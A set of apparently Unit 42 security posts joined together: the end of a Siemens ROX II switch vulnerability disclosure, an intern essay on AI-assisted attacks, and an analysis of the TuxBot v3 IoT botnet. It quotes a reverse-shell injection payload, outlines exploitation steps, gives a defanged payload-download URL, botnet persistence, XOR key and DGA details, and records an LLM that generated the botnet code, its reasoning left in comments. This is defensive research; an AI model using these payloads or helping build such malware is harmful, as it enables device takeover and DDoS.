payload like $(python /tmp/rev_shell.py) could be used, where /tmp/rev_shell.py is the uploaded script. When the attacker uploads this specially crafted feature key, the vulnerable verification function will execute the injected command with root privileges, giving the attacker a reverse shell and full control over the device. This attack vector highlights the importance of robust input validation and secure coding practices, especially when handling external data and executing system commands. Following the initial privilege escalation, we discovered a third critical vulnerability, CVE-2025-40949, in the Siemens ROX II switch's system scheduling functionality. This flaw allows an authenticated attacker to establish persistent execution of arbitrary commands with root privileges. The vulnerability resides in the switch’s system task scheduler, which is used to automate periodic command execution. An authenticated attacker can manipulate input fields within the web management interface used to configure scheduled tasks. Due to improper sanitization and validation of user-supplied data, the attacker can inject control characters and commands into the underlying system configuration file responsible for task execution. This technique results in a command injection attack executed with root privileges. The impact is persistent code execution as the root user, enabling long-term compromise that survives system reboots and maintains control over the device. Exploiting this vulnerability involves several steps that an authenticated attacker can perform via the web management interface. This high-level summary demonstrates how persistent root access is achieved. Step 1 - Prepare the malicious code: The attacker prepares malicious code, such as a script designed for communication or system manipulation. This payload is stored in a location accessible by the switch's operating system. Step 2 - Inject the command: The attacker uses the task scheduler interface to create a new scheduled task. By crafting a special input string for some of the task configuration fields, the attacker is able to inject an execution command. This command is structured to overwrite or bypass the intended task parameters, causing the system to execute the attacker’s payload instead of a legitimate function. Step 3 - Execute and achieve persistence: Once the configuration is saved, the scheduled task mechanism processes the injected command. This results in the execution of the attacker’s prepared code with root privileges, achieving persistent control over the device. This control remains active through system operations, allowing for ongoing malicious activity. The discovery and mitigation of these three chained zero-day vulnerabilities in Siemens ROX II switches highlight the necessity of collaborative vulnerability research between vendors and security researchers. By working together to identify and remediate flaws that could allow full system compromise, the industry can better protect the critical infrastructure that underpins essential services. To protect the intricate and interconnected OT environment, organizations must execute a defense-in-depth strategy. This methodology must combine timely firmware updates with compensating controls, such as virtual patching. While applying vendor-provided security updates remains the recommended long-term remediation, organizations may require additional time to test and deploy patches within OT environments. Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the attacks with best practices via the following Threat Prevention signatures 97246, 97250, 97249. OT Device Security provides deep visibility and AI-powered inline protection for industrial environments, securing critical OT assets and legacy systems without requiring downtime. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. System behavior indicators: Unusual task scheduler entries: - Description: Unexpected scripts or commands injected into the switch’s system configuration files or task scheduler configuration. These are typically characterized by the execution of arbitrary commands (e.g., python, bash or direct system calls) instead of legitimate task functions. Abnormal use of the xz utility: - Description: Execution of xz with parameters -f, -c and -d by the privileged configuration daemon. This indicates an attempt to read files on the file system that are not normally accessible to the user. CVE-2025-40947 – MITRE CVE Program CVE-2025-40948 – MITRE CVE Program CVE-2025-40949 – MITRE CVE Program Siemens ProductCERT and CERT - Hall of Thanks – Siemens SSA-078743: Remote Code Execution Vulnerability in Ruggedcom Rox Before V2.17.1 – Siemens ProductCERT SSA-081142: Arbitrary Code Execution Vulnerability in Ruggedcom Rox Before 2.17.1 – Siemens ProductCERT SSA-973901: Arbitrary File Disclosure Vulnerability in Ruggedcom Rox Before V2.17.1 – Siemens ProductCERT Adam Robbie, Head of OT Threat Research, Emmanuel Zhou, Sr. Staff Researcher and Rick Wyble, OT Security Researcher, are researchers affiliated with the Palo Alto Networks Advanced Research Center for OT. Miguel Pereira is from Siemens ProductCERT.

Unit 42’s 2026 Global Incident Response Report offers frontline intelligence drawn directly from global investigations. The report spotlights four defining trends shaping the threat landscape. We’ll take a closer look at Trend 1: AI Has Become a Force Multiplier for Attackers. Drawing on hundreds of incident response engagements, the Unit 42 2026 Global Incident Response (IR) Report provides evidence-backed insights that illustrate how threat actors leverage AI to reduce the friction behind attacks. Specific use cases include shortening development cycles, automating content generation and streamlining reconnaissance techniques. These operational efficiencies have effectively compressed the attack lifecycle, transforming what once took days into a matter of hours. Yet, while the speed of AI has undoubtedly impacted the attack surface, the fundamental threat landscape has remained relatively consistent over the past year. The attacks observed in recent investigations are largely consistent with historical patterns. Threat actors continue to rely on established techniques such as credential theft, phishing, exploitation of known vulnerabilities and ransomware deployment. This points us to the conclusion that AI is acting as a force multiplier to increase the speed and efficiency of attacks, but is not significantly redefining methods of compromise. This also implies that defenders already have the knowledge and capabilities to prevent, detect and respond to AI-enhanced cyberattacks. As an intern at Palo Alto Networks and a full-time college student, I have had the chance to observe perspectives surrounding AI from both academic and industry organizations. AI has transformed cybersecurity, but its presence in academia remains limited. The speed of AI innovation, as well as concerns regarding academic integrity, have restricted the incorporation of AI platforms into curriculum, leading to an almost “anti-AI” mindset. Rapid AI integration within workplace operations poses challenges for students with limited formal education in these tools. This disconnect challenges the traditional assumption that higher educational institutions adequately prepare students for the workforce and reflects a larger problem: technologies are evolving much faster than established systems can adapt to them. While this grants opportunities for the select few familiar with AI tools, it ultimately expands the skills gap between employers and students, leading to increased job uncertainty. For students and emerging cybersecurity professionals, understanding AI is as essential as understanding the security technologies and principles it can support. As AI becomes increasingly embedded within the cybersecurity industry, organizations are prioritizing professionals who can use it effectively — not just to automate basic tasks, but to deepen analysis, enhance decision making and identify missing gaps. Equally important is recognizing AI’s limitations. Practitioners must be able to validate AI-generated responses, think critically, identify hallucinations or inaccuracies and know when human expertise is required. As AI continues to amplify attackers’ operations, the strongest practitioners will be those who combine strong technical foundations with AI proficiency and the judgement to recognize when human intervention is needed. Because AI continues to advance at record speeds, the threat landscape looks different today than it did when we published the IR Report in February 2026. To gain the latest updates on how these tactics have evolved, I interviewed Andy Piazza, senior director of threat intelligence, Unit 42, and Richard Emerson, senior manager of reactive intelligence, Unit 42. According to Andy, AI-assisted cyberattacks have still not yet reached a level that urges organizations to redesign their cyber defense strategy — but the initial signals of AI-adoption are beginning to emerge. Threat actors are leveraging AI to lower the barrier to entry and to streamline certain stages of an attack. Between the market demand for “AI impact” driving a hype cycle, and initial signs that threat actors are exploring AI-enabled attacks, these campaigns appear louder or more visible in media coverage than they really are present in the threat landscape. However, the underlying tradecraft remains largely unchanged — the techniques for compromising systems are based on the underlying technology of the compromised hosts, not the technology that is compromising them. At this stage, Unit 42 has not observed a meaningful shift in capabilities related to AI-enabled attacks. Rather, adversaries are applying AI to the established tactics, techniques and procedures (TTPs) that they already engage in. Still, the operational efficiency gains AI offers adversaries should not be dismissed. We are seeing threat actors test AI in their attacks. From malware written using AI to malware that calls out to a large language model (LLM) or Model Context Protocol (MCP) server for command and control instructions, attackers are exploring many use cases for AI-enabled threats, just like defenders are across most enterprises. To date, these campaigns are nascent and have not had major impacts. Yet, that is a temporal assessment that is likely to change as adoption increases. If AI enables attackers to operate faster or at greater scale, organizations that rely primarily on detect-and-respond models may struggle to keep up. This reinforces the need to emphasize prevention controls, rather than assuming security operations center (SOC) teams can absorb high increases in alert volume. Andy’s advice: AI-driven threats should be treated as a strategic priority, particularly as the technology continues to evolve. However, they do not currently represent a fundamentally new class of risk. Defenders can mitigate these threats using existing processes and controls, but it is critical to continue to adapt and remain informed on emerging technologies. Richard agrees that AI has not introduced fundamentally different attack vectors. He does, however, emphasize more strongly that threat actors are leveraging AI in more sophisticated and scalable ways. In one instance, researchers identified agentic ransomware managing multiple stages of an extortion operation. While the AI agent was not fully autonomous, it operated from end to end across the attack lifecycle, significantly reducing operational complexity and compressing the timeline for the threat actors involved. Richard also points to the rise of token jacking, where threat actors exploit exposed credentials to gain unauthorized access to cloud AI services and LLM API tokens. This can potentially generate millions of dollars in unauthorized compute charges at the victim's expense. Recent trends suggest that adversaries are evolving past simply misusing the stolen tokens to training their own malicious models as well. Looking ahead, Richard expects threat actors to continue using AI to optimize existing stages of the attack lifecycle rather than creating entirely new attack vectors. He anticipates broader adoption of AI for processes such as vulnerability discovery, malware development and decision-making during active intrusions. Although he believes that fully autonomous agentic attacks remain an emerging capability, he warns that these systems will eventually operate at speeds that outpace human defenders alone. As a result, organizations must combat AI with AI to respond to these threats in real time. That being said, defenders must still think critically and understand the logic behind these agents to identify their mistakes and manually redirect defense efforts when they fail. My conversations with Andy and Richard have reinforced one clear idea: AI is changing the speed and scale of cyberattacks more than it is changing the attacks themselves. This distinction is critical. From a defense perspective, this means that foundational security knowledge is still as relevant as ever, with AI being an additional piece of the puzzle. AI is a force multiplier for attackers, but it has the potential to become an equally powerful force multiplier for defenders. As students and emerging professionals entering the dynamic world of cybersecurity, our responsibility is to understand these technologies and guide how they can be used. The future of cybersecurity will be shaped by those who are willing to continuously learn, adapt to new tools, and leverage technology to protect our digital way of life. Global Incident Response Report 2026 – Unit 42 Analyzing the Current State of AI Use in Malware – Unit 42

We identified a previously undocumented modular internet-of-things (IoT) botnet framework named TuxBot v3 Evolution. The malware authors leveraged an LLM to assist in their code development, yielding mixed results. While the AI complied with their request to generate botnet code, it included a safety disclaimer that the developer failed to remove before shipping. Although the LLM clearly aided in constructing the botnet, several functions in the analyzed samples failed to work correctly. While a manual code review could have easily resolved these errors, the authors neglected this step. However, it is highly likely that corrected, more polished iterations exist, which significantly elevates the potential threat posed by this malware. We initially reported this information through our Timely Threat Intelligence program, and this article provides further in-depth analysis of the TuxBot v3 Evolution botnet. We recovered detailed information on the framework from internal telemetry. The data includes the full source code, compiled binaries for 17 architectures and automated distributed denial of service (DDoS) performance testing reports. The bot programs infected devices to display the console banner “Infected By Akiru.” The TuxBot v3 Evolution framework consists of: A C-based bot agent that cross-compiles for architectures from ARM and MIPS to x86_64, PowerPC, RISC-V, etc. A Go-based command-and-control (C2) server with a DDoS-for-hire panel A custom exploit virtual machine Docker-based test infrastructure An automated build system The bot agent brute-forces Telnet access on targeted devices with 1,496 credential pairs, contains exploit code targeting more than 30 IoT device families and communicates with a C2 server over an encrypted TCP channel. Fall-back C2 mechanisms include: A SHA512 domain generation algorithm (DGA) Peer-to-peer (P2P) gossip with Ed25519-signed commands IRC DNS TXT queries HTTP polling Palo Alto Networks customers are better protected from the threats discussed above through the following products: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. TuxBot is a modular IoT botnet framework derived from various known IoT botnet codebases. Based on our analysis of the samples, TuxBot includes features borrowed from the known botnet AISURU and the publicly unknown Wuhan botnet lineages. (We infer the Wuhan botnet lineage based on references in the TuxBot samples.) It is also partially ported from the open-source MHDDoS Python DDoS toolkit. Figure 1 shows screenshots of the TuxBot v3 Evolution installer. According to the system configuration, the framework maintains dual versioning: 3.5.2 for the Installer version and 3.0.0-EVOLUTION-FINAL within the Docker configuration file. We discovered two important sources of TuxBot data from the wild. Our first discovery was an archive containing the complete source code of the framework. This archive consists of: 61 C++ source files 58 headers Its own compiler and virtual machine Docker Compose configurations for test environments Quick Emulator (QEMU) setups for multi-architecture testing 254 automated DDoS benchmark reports Our second discovery was a compiled bot binary that was also bundled in the source tree under the QEMU test directory and hidden with a dot-prefix to the filename. This sample was submitted to VirusTotal on Jan. 20, 2026. Comparing this binary with the source code reveals that it is a development build. This binary was compiled with its C2 IP address set to the loopback IP address 127.0.0.1 and the bot protocol port set to 31337. Because this information can be modified during the botnet setup process, the operator could have production builds with a real C2 IP address and with the bugs we document here already fixed. The TuxBot framework we recovered and analyzed is approximately 70% functional. The core infection flow (scanning, credential brute-forcing, persistence, primary C2 setup and DDoS execution) works. The Telnet, SSH, HTTP and Android Debug Bridge (ADB) scanners all operate correctly. Furthermore, with its 1,496 credential pairs, the Telnet scanner remains a viable infection vector. Exploitation beyond brute-forcing is limited. All three exploit systems are non-functional for different reasons that we detail later in this analysis. An additional scanner fires, but its hard-coded dropper IP address is no longer active. Several other features are broken due to a handful of bugs, most of which trace back to large language model (LLM)-assisted development. The developer relied on an LLM to generate C modules, port exploits and write C2 server code. Raw chain-of-thought reasoning from the LLM was left verbatim in source files, and the LLM hallucinated cryptographic implementations that the developer shipped without verifying. During our analysis, we could fix several of these broken features with a few targeted prompts to an LLM. This means an adversary with access to the same source code could produce a more complete version with minimal effort. The archive containing the source code also contains a Git log. This Git log allowed us to build a timeline that shows the development progress of this botnet, noted in Table 1. Table 1. TuxBot Framework development timeline. The source code and publicly available data provide a rough development chronology. The developer's hostname, captured in the included Git log, indicates an Iranian-hosted workstation. The developer domain newtuxdev.sevielw.digikalas[.]online was no longer live, but the parent domain digikalas[.]online has remained active and resolved to an IP address on Iran's Arvan Cloud content delivery network (CDN) during our research. The 254 benchmark reports from the archive from January 2026 reveal: Active testing of 12 attack methods across three Docker-based botnet hosts Measuring packet rates, throughput and error rates This testing occurred just weeks before the first sample appeared on VirusTotal, consistent with a late-stage development push before deployment. The source code contains an IP address of 185.10.68[.]127, which we pivoted on to link TuxBot to Keksec/Kaitori (a Tsunami/Mirai/Gafgyt variant) ecosystems to a shared infrastructure. According to the framework’s description, the TuxBot developer built what they called a professional-grade C2 framework platform with a multi-user admin panel, automated deployment and modular attack capabilities. Figure 2 shows the botnet panel reference. The C2 server is written in Go and uses three listeners that use different TCP ports for incoming connections. The first listener serves the bot protocol on TCP port 1999 (or 31337, depending on the build), handling encrypted command dispatch to connected bots. The same port is multiplexed with an admin binary protocol identified by a magic byte header. The second listener is an SSH server on TCP port 2222 that presents an interactive shell for operators. This is the DDoS-for-hire interface shown in Figure 3. Operators log in, see a count of connected bots and issue attack commands in the format !method target duration. As Figure 4 shows, the C2 server enforces per-user quotas on concurrent attacks, maximum duration and bot allocation. This is all backed by a MariaDB database that stores user accounts, attack logs and permissions. The third listener is a machine API on TCP port 9999 that uses a JSON interface intended for programmatic access. The integrated build system automates the entire deployment: Installing dependencies (Go, MariaDB, cross-compilation toolchains) Initializing the database schema Generating a configuration Compiling the C2 Cross-compiling the bot for 17 target architectures, as noted in Figure 5 These target architectures include: x86_64 ARM ARM64 MIPS MIPSEL MIPS64 PowerPC The compiled binaries are placed in a directory served over HTTP, so exploited devices can download the appropriate binary for their architecture. The framework includes Docker Compose configurations for several test scenarios. A “battle arena” configuration spins up a C2 server, five bot replicas and a target host running nginx and socat listeners on game server ports (Minecraft, TeamSpeak, FiveM, Xbox Live). This allowed the developer to test DDoS methods against real protocol listeners in a controlled environment. Additional configurations test P2P gossip recovery, full integration with all scanners active and production-like deployments with stealth and persistence enabled. An interesting design note is that the source code configures the SSH banner as SSH-2.0-CNC, but the live C2 server on Xpanse at 209.182.237[.]133 presents the banner as SSH-2.0-CNC-Control-Server. This discrepancy suggests that the production deployment uses a modified version of the source code we discovered, providing further evidence that the operator has a separate, potentially more complete build. The bot is a C program that compiles into a single statically linked binary. It links against glibc and libsodium for X25519, ChaCha20, Poly1305, SHA512 and Ed25519 algorithms. The original binary submitted to VirusTotal was an earlier debug build with symbols intact, compiled with GCC 11.4.0 instead of the production GCC 14.2.0. The bot programs infected devices to display the console banner Infected By Akiru, as shown in Figure 6. On execution, the bot follows a fixed initialization sequence. After seeding the pseudo-random number generator and initializing libsodium, it performs the following activities: Loading the C2 address Setting up anti-debugging protections Hiding its process name Installing persistence Launching a cascade of subsystems consisting of: - The attack dispatcher - A competitor killer feature - An exploit VM - Self-replication servers - Multiple C2 channels (IRC, HTTP, DNS, P2P) - Scanners (Telnet, SSH, HTTP, PHP-based application, ADB) - A SOCKS5 proxy - The mining placeholder The main process then enters a loop that receives encrypted commands from the C2 server and dispatches attacks. TuxBot stores sensitive strings (C2 addresses, scanner calls, exploit payloads) in an XOR-encrypted table that it decrypts at runtime. The table key is previously defined as 0xDEDEFB4F. The toggle_obf() function splits this 32-bit key into its four component bytes (0x4F, 0xFB, 0xDE, 0xDE) and XORs each byte of each table entry with all four in sequence. Because XOR is associative, these four operations collapse into a single effective key. The two 0xDE bytes cancel each other out (any byte XORed with itself yields zero), leaving 0x4F XOR 0xFB = 0xB4. The table contains 58 entries. Forty-nine of them decrypt correctly with key 0xB4 and include: The C2 port (1999) Scanner strings (shell, enable, system) The Infected By Akiru post-infection console banner Busybox probe strings Various process names used for stealth Nine entries produce garbage when decrypted with 0xB4. These entries were encrypted using a separate offline tool, which uses a key of 0xDEDEFBAF, yielding an effective byte of 0x54. The developer introduced this bug by changing the least significant byte of the key in the table from 0xAF to 0x4F. The offline encryption tool was never updated to match, and the nine entries that had already been processed with the old key were never re-encrypted. As a result, these entries are encrypted in the binary with key 0x54, while the runtime applies key 0xB4, producing corrupted output. Decrypting them with the correct key (0x54) reveals the intended values shown in Table 2. Table 2. String table decrypted values. All four exploit payloads hard code the dropper IP address 185.10.68[.]127 inside them, an IP address that is flagged as malicious on VirusTotal in early May 2026. The consequences of this bug are significant. The IRC C2 fall-back channel, the HTTP C2 polling channel and the four table-stored exploit payloads are all non-functional at runtime. The bot attempts to use them, but it silently fails due to the corrupted string values. For example, the IRC channel tries to inet_addr() on garbage bytes, gets INADDR_NONE and retries the connection every 10 seconds. We were able to fix this to call the add_entry_plaintext() function correctly, by taking the raw string and XORing it with the runtime key (0xB4) at initialization, guaranteeing the keys always match. With that fix applied, the IRC C2 channel connects, joins #tuxbot and accepts attack commands as noted in Figure 7. The bot ships with 1,496 username/password pairs for Telnet brute-forcing. The file header explicitly says // START IMPORTED FROM DDOS-ROOTSEC pass_file. Each entry is XORed with key 0xB4 (matching the runtime key, so these work correctly). The list of 1,495 login credentials includes standard and vendor-specific defaults. TuxBot implements a layered C2 architecture with one primary channel and five fall-back mechanisms. Only the primary channel and three of the five fall-back mechanisms were functional in the version we analyzed. Figure 8 shows the diagram. The bot connects to the C2 server on TCP port 1999 (or 31337, depending on build configuration). The handshake begins with the bot sending 4 bytes: 0xDEADBE01. It then generates and sends its 32-byte public key. The C2 server responds with its own 32-byte public key. Each encrypted packet has the following format: 4-byte magic (0xDEADBEEF) 12-byte nonce (from /dev/urandom) Ciphertext 16-byte Poly1305 tag The framework defines five additional C2 channels, summarized in Table 3. Table 3. C2 channels and their implementation status. The broken IRC implementation reveals the intent for a secondary channel of communication, as demonstrated below in Figure 9. When fixed, it forks a child process that connects to an IRC server, joins a channel (default #tuxbot) and listens for PRIVMSG commands prefixed with the ! character. It supports 12 attack methods (udp, syn, ack, vse, stomp, greip, greeth, udpplain, bypass, std, socket and dns) plus a kill command. Commands arrive as plaintext IRC messages and get parsed by the parse_irc_command() function. Then the commands are converted to the same binary packet format used by the primary encrypted channel before being passed to attack_parse(). Unlike the primary channel, the IRC channel has no encryption and no authentication. Anyone who knows the server and channel can command the bots. The dga_generate_domain() function constructs a seed string formatted as %04d-%02d-%02d-TuxBotv3-Evolution-Seed-2025-%d, where the date is the current UTC date and the final integer iterates from 0–19 per cycle. This produces 20 candidate domains per day. The SHA512 hash of this string is computed, and the first 12 bytes of the digest are mapped to lowercase letters (digest[i] % 26 into the a-z charset) to form the domain label. The top-level domain (TLD) is selected from a 6-entry table (.com, .net, .org, .info, .biz and .cc) using digest[12] % 6. Both the main C2 reconnection loop and the resilience module use this function to try DGA domains when the primary C2 address is unreachable. The source tree contains four categories of exploit. Only one of them works at runtime. This is a direct consequence of the bugs introduced during development. Sixteen exploit functions are implemented as native C code, covering 13 CVEs across different vendors and devices. Each function constructs an HTTP or SOAP request with a %s format string for the dropper IP address. The code is complete and would work if called. But exploit_engine_init() has zero callers anywhere in the codebase. No scanner or spread module references it. These 16 exploits are compiled into the binary and considered as dead code. The main Telnet scanner spawns a dedicated exploit worker thread that calls vm_run_random() in a loop against random IP addresses, making this the only exploit system the bot actually tries to use at runtime. The developer built a custom domain-specific language for writing exploits as text files, a Go compiler to compile them into a binary package and a C virtual machine to execute them. We also observed 27 .expl files, a custom file format created by the developer for this framework. Each file contains a single exploit, making exploit integration modular rather than hard-coded. These were written and compiled into a single 10,694-byte exploit package that would add coverage for 13 CVEs (including CVE-2022-1388, CVE-2022-22965, CVE-2020-8515 and CVE-2022-44877) plus two non-CVE targets. The package fails because the Go compiler writes the file magic value as 0x54555845 ("TUXE") while the C VM expects 0x4558504C ("EXPL"). The package is rejected on load, and the exploit worker thread runs but fires nothing. Beyond the magic mismatch, the compiler never emits an OP_CONNECT opcode, and the variable syntax differs between the compiler and VM. This means that even fixing the file magic value would not be enough to make the package execute correctly. This category consists of XOR table payloads, but these are broken due to an XOR key mismatch. Four exploit payloads are stored as XOR-encrypted entries in the string table. These target different vendors and were intended as an alternative delivery mechanism. They are all encrypted with the wrong XOR key (0x54 instead of 0xB4), resulting in garbled HTTP requests at runtime. This category consists of functional dedicated scanners for remote code execution (RCE) and ADB. In summary, the exploit categories are described in Table 4. Table 4. Exploit categories and counts (per implementation status). These four categories mean that this bot's actual exploit capability at runtime is limited to the last two categories: An RCE vulnerability scanner (whose dropper is dead) The ADB scanner The other three exploit categories that were supposed to provide broad IoT exploitation are non-functional, each for a different reason. A complete table of all CVEs and their status is provided in the Indicators of Compromise section. The attack dispatch system registers 78 attack vectors. These vectors map to only six actual handler functions, as shown in Table 5. Table 5. DDoS method handlers and their descriptions. The 47 vectors mapped to attack_tcp_syn_optimized include all application-layer methods for HTTP that the developer attempted to port from MHDDoS: GET floods POST floods Slowloris DDoS attacks Apache Range header attacks WordPress XMLRPC pingback attacks Cloudflare bypass attack variants These methods have source code implementations, but attack_init() routes all of their vector IDs to the TCP SYN handler. An operator who types !get target 60 expecting an HTTP GET flood instead gets a TCP SYN flood. The HTTP attack methods are compiled into the binary as dead code. Figure 11 shows the command for a controlled bot to launch an attack against a given IP address and port number. The source tree contains approximately 92 individual method implementations across three lineages: 30 from the traditional Mirai codebase 12 AISURU-suffixed variants with sendmmsg() batch optimization 8 Wuhan-suffixed variants bridged through adapter code These exist in the compiled binary but are never called because attack_init() redirects everything to the six optimized handlers shown in Figure 12 below. The source code reveals a modular architecture designed for high-efficiency network scanning, specifically using a dedicated HTTP scanning routine to discover vulnerable web interfaces. The HTTP scanner operates as an isolated child process that manages up to 128 concurrent connections in an infinite, non-blocking select() loop. For each idle slot (approximately 5% chance per tick), it targets a random public IP address on TCP port 80 or 8080, excluding loopback and non-routable IP address ranges. The scanner then attempts a non-blocking TCP connection to a random administrative endpoint (such as /admin or /cpanel). It does so using credential combinations (like admin:admin) from hard-coded lists via a Base64-encoded Authorization: Basic header in an HTTP GET request. If the response yields a successful HTTP/1.* with 200 OK status strings, the scanner prints a debug log and terminates the connection. Crucially, the source code indicates that this feature was not fully implemented, as the successful propagation logic is stubbed out and completely lacks the functionality to report successful infections back to the C2 server. If the attempt times out after 5 seconds or fails, it simply closes the connection and frees the slot for reuse. Figure 12 shows an example of the scanning traffic filtered in Wireshark. Persistence and Stealth The persistence and stealth subsystems follow patterns well established in the IoT botnet ecosystem, so we will not describe every technique in detail. TuxBot installs itself through seven persistence mechanisms: A systemd service disguised as sd-pam.service with Restart=always Two cron entries (@reboot and */5 * * * *) Shell profile injection into .bashrc, .profile and .zshrc files Hidden backup copies at three file system locations A guardian process with crash backoff Hardware watchdog keepalive Periodic binary relocation across 21 directories with dot-prefixed filenames - This process masquerades under one of 20 system daemon names (such as systemd-udevd, dbus-daemon, cron, sshd) selected at random The Anti-VM module implements a weighted scoring system with a threshold of 30, combining more than 10 detection methods, including: DMI file checks for VMware/VirtualBox/QEMU MAC address prefix matching for seven VM vendors Disk size and CPU count heuristics Timing-based detection Kernel module scanning Checks for running analysis tools (gdb, IDA, Ghidra, radare2, Wireshark, Volatility). A competitor killer feature Scans of /proc for memory signatures of Mirai, QBOT, Vamp, Anime and dvrHelper Killing matches and binding their ports to prevent re-infection The developer used an LLM to write a significant part of this framework. Multiple files contain raw LLM chain-of-thought reasoning left verbatim in comments. These comments are the LLM's internal reasoning as it worked through porting tasks. This reasoning is complete with self-interruptions, decisions and references to “the user” (meaning the developer who prompted the LLM). Here are a few examples: While trying to port an ADB exploit to the custom .expl format, the LLM writes: // If the user insists on "all exploits", I will add it but with a NOTE that checksums might fail. The LLM is questioning whether it remembers code it generated earlier in the same conversation: // I created them so I should know? Discovering that a Python exploit script it was porting is broken: // Wait, where is the command? These patterns recur throughout the exploit files: Self-interruptions (Wait) Self-corrections (Actually) Investigation prompts (Let's check) First-person task narration (I will) Structured decision labels (DECISION:) One comment reads // Correct action: I've already explored it. I will check other files. These comments are an LLM narrating its own workflow to itself. Human developers do not usually write comments like these. The same patterns appear in the C bot modules. Comments include: Actually, TFTP requires lock-step ACK, Let's assume if the system() call returns, we might want to exit and actually crypto_core allows generating them from a seed. Let's use a random seed. The most consequential LLM artifact is in the C2 authentication module. The file header claims to implement Argon2id password hashing. The section header reads PASSWORD HASHING - ARGON2ID. The function comment says HashPassword creates a cryptographically secure password hash using Argon2id. Related LLM comments include: // Since golang.org/x/crypto/argon2 isn't imported, we'll use our enhanced PBKDF2 // with very high iterations as a strong alternative hash := deriveKeyEnhanced(password, salt) Despite its use of PKBDF2 for password hashing, the LLM formats the output to look like Argon2id anyway: return fmt.Sprintf("$argon2id$v=19$m=%d,t=%d,p=%d$%s$%s", ...) The LLM hallucinated that it implemented Argon2id but actually fell back to SHA256 loops while keeping the Argon2id comments, constants and output format. Every .c file in the bot directory (approximately 60 files) carries an identical header: WARNING: This code is for educational and authorized security research only. Unauthorized use is strictly prohibited and may be illegal. The LLM complied with the request to generate botnet code but added a safety disclaimer. The developer shipped it without removing it. Table 6 summarizes the operational status of each major component of TuxBot v3 Evolution. Table 6. Operational status for each TuxBot framework component. During our research, we were able to fix these issues with a handful of LLM-assisted prompts. We reconstructed the correct table entries and fixed the IRC C2 channel with a few targeted prompts. Given that the operator already has the source code and has been actively deploying binaries (six new samples in April 2026), we can reasonably assume that a version with some or all of these fixes already exists in the wild. By searching through publicly available data, we found active infrastructure and connections to the broader IoT botnet ecosystem. The primary C2 server is hosted at 209.182.237[.]133, in Singapore. Connecting to TCP port 2222 on this server presents the banner SSH-2.0-CNC-Control-Server, first observed on Xpanse on March 5, 2026, and also visible through Shodan. The SSH key exchange includes a key exchange algorithm that fingerprints Go's crypto/ssh library rather than OpenSSH. The dropper server at 185.10.68[.]127 is hosted on FlokiNET, an Iceland-based provider known for bulletproof hosting. This IP address had 11/91 malicious detections on VirusTotal in May 2026, with at least 10 communicating malware samples and six associated downloads. This dropper server serves TuxBot payloads at /bins/bot. and, on different URL paths, also serves Kaitori v3.9 binaries. Passive DNS history for this IP address shows domains consistent with DDoS-for-hire operations going back to 2021, with the domains vrunabo[.]su, rezy1337.ted[.]ge and high.cpu.co[.]ua. These two servers are linked by the jetross[.]com Let's Encrypt TLS certificate that appears on both hosts, tying the C2 server in Singapore to the dropper in Iceland under the same operator. The dropper IP address is the pivot point that connects TuxBot to the wider Keksec/AISURU ecosystem. Kaitori v3.9 samples recovered from our internal telemetry in July 2025 (82 samples) downloaded their payloads from 185.10.68[.]127 on different URL paths. A separate sample, a Go binary, communicates with both 194.46.59[.]169 (a known AISURU IP address) and 185.10.68[.]127. TuxBot, Kaitori and AISURU tooling all converge on the same dropper server, but they are separate codebases. One additional artifact sits in the source code. The RCE scanning engine contains a hard-coded payload that downloads from hxxp[:]//188.166.2[.]226/OwO/Tsunami.x86 with the user-agent r00ts3c-owned-you. This string was copy-pasted from the r00ts3c Tsunami codebase, which was included in the MHDDoS repository that the developer cloned in January 2025. The IP address is a decommissioned DigitalOcean droplet now serving Ubiquiti's UISP platform. This payload is dead code. The developer domain digikalas[.]online resolves to 37.32.24[.]195 on Iran's Noyan Abr Arvan. Its TLS certificate covers api.digikalas[.]online and health.digikalas[.]online, suggesting it hosts a web application beyond the malware development context. The developer subdomain was leaked in the git historical log data. Our discovery of TuxBot v3 Evolution reveals a development snapshot of an IoT botnet framework. The framework has working core capabilities and several broken features that trace to a small number of reproducible bugs. Binaries compiled from this framework have been appearing in the wild since January 2026. The C2 infrastructure has been active since at least March 2026. The developer relied heavily on LLM-generated code throughout the project. That approach accelerated integration and allowed what could be a single developer to produce a multi-architecture botnet with: Encrypted C2 A DGA P2P gossip A custom exploit VM A Go-based DDoS-for-hire panel The LLM also introduced bugs that went unnoticed because the generated code reads well on the surface. The XOR key mismatch, the VM magic incompatibility, the exploit engine that never gets called and the hallucinated Argon2id implementation are the kind of errors that a manual code review would have caught immediately. The developer trusted the output and moved on. Shared infrastructure with Kaitori v3.9 and AISURU tooling places the TuxBot operator within the Keksec ecosystem. This group is known for running multiple IoT botnet variants in parallel. TuxBot appears to be another variant in that portfolio. It’s one that aims to go beyond the usual Mirai fork with its encrypted C2, its DGA and a modular exploit system, even though that system does not work yet in the version we recovered. The broken features can be fixed. We demonstrated this during our analysis by reconstructing the IRC C2 channel and decrypting the mismatched table entries with a few targeted LLM prompts. A fully working version of this framework is not a theoretical concern, but a likely threat. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Advanced Threat Prevention is designed to defend networks against both commodity threats and targeted threats. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. TuxBot Framework (Compiled Malicious Binaries): SHA256 hash: 